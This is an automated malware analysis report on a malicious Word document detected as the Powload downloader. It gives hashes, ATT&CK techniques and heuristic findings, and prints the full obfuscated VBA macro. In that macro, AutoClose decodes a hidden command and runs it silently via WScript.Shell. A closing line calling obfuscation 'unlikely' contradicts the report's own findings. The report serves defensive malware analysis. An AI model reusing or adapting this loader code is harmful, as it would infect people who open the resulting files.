Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b930d8c294a10f76…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 76f9e428cef62823b24fef1027b0e1a1 SHA-1: b86f5bc56ec349271819792a85b4f906d7a6c5da SHA-256: b930d8c294a10f76e7dc9fbe1b257142fa5abc4bea0bc51ef544117b4ad51e29
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing a malicious VBA macro. The `AutoClose` subroutine is obfuscated and uses `WScript.Shell` to execute a command, likely to download and run a second-stage payload. The ClamAV detection `Doc.Downloader.Powload-6707242-0` further supports this analysis.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       eyesight = "WScript.Shell"
   tention = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "malpropriety", callo
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If becudgels - tention > 1 Then
       CreateObject(Trim(eyesight)).Run nonassent, 0
       tineine = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  valetudinarian = Array("w", "h", "n", "8", "6", "f", "0", "y", "0", "d", "n", "8", "8", "2", "J", "P", "P", "K", "I", "E", "M", "6", "h", "v", "t", "E", "n", "h", "e", "h", "0", "M", "h", "S", "6", "h", "0", "8", "f", "E", "e", "w", "P", "i", "L", "g", "P", "8", "0", "o", "y", "f", "2", "n", "2", "F", "I", "8", "w", "6", "5", "G", "e", "S", "c", "e", "q", "6")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2133 bytes
SHA-256: 1805c3c9c834f521c9654483e467d6ba9f9cb1babfc7a546d6c7575553fbcf50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function broadwayite(valetudinarian)
  meteorital = Array("c", "i", "M", "d", "E", "e", "J", "S", "f", "0", "g", "q", "I", "h", "K", "5", "P", "t", "n", "o", "y", "6", "v", "F", "L", "G", "w", "8", "2")
  redrives = Array("d", "I", "k", " ", "c", "o", ":", "n", ".", "e", "O", "l", "u", "s", "f", "=", "/", "i", "h", "r", "x", "a", "b", "?", "S", "g", "m", "t", "p")
  
  randing = vbNullString
  
  For Each headband In valetudinarian
    groupthink = cataclysm(headband, meteorital, UBound(meteorital))
    If groupthink > -1 Then
    randing = redrives(groupthink) & randing
    End If
  Next
  
  broadwayite = StrReverse(randing)
  
End Function

Public Function cataclysm(lupin, factually, cephalodiscid)
  motherland = 913
  hibakusha = 6672
  For motherland = 0 To cephalodiscid
    If factually(motherland) = lupin Then
     hibakusha = motherland
    End If
  Next

  If hibakusha = 6672 Then
    hibakusha = -1
  End If
  
  cataclysm = hibakusha
End Function

Sub AutoClose()
  valetudinarian = Array("w", "h", "n", "8", "6", "f", "0", "y", "0", "d", "n", "8", "8", "2", "J", "P", "P", "K", "I", "E", "M", "6", "h", "v", "t", "E", "n", "h", "e", "h", "0", "M", "h", "S", "6", "h", "0", "8", "f", "E", "e", "w", "P", "i", "L", "g", "P", "8", "0", "o", "y", "f", "2", "n", "2", "F", "I", "8", "w", "6", "5", "G", "e", "S", "c", "e", "q", "6")
  callo = broadwayite(valetudinarian)
  
  Application.Run "malpropriety", callo
  
End Sub


Private Sub malpropriety(nonassent)
   
   eyesight = "WScript.Shell"
   tention = DateDiff("s", #1/1/1970#, Now())
   tineine = True
   
   While tineine
     becudgels = tention + 60
     If becudgels - tention > 1 Then
       CreateObject(Trim(eyesight)).Run nonassent, 0
       tineine = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: ccb44881ee03966c1f2b50994369a32ea7ec3aeaf856f029f840c9684ba82b86
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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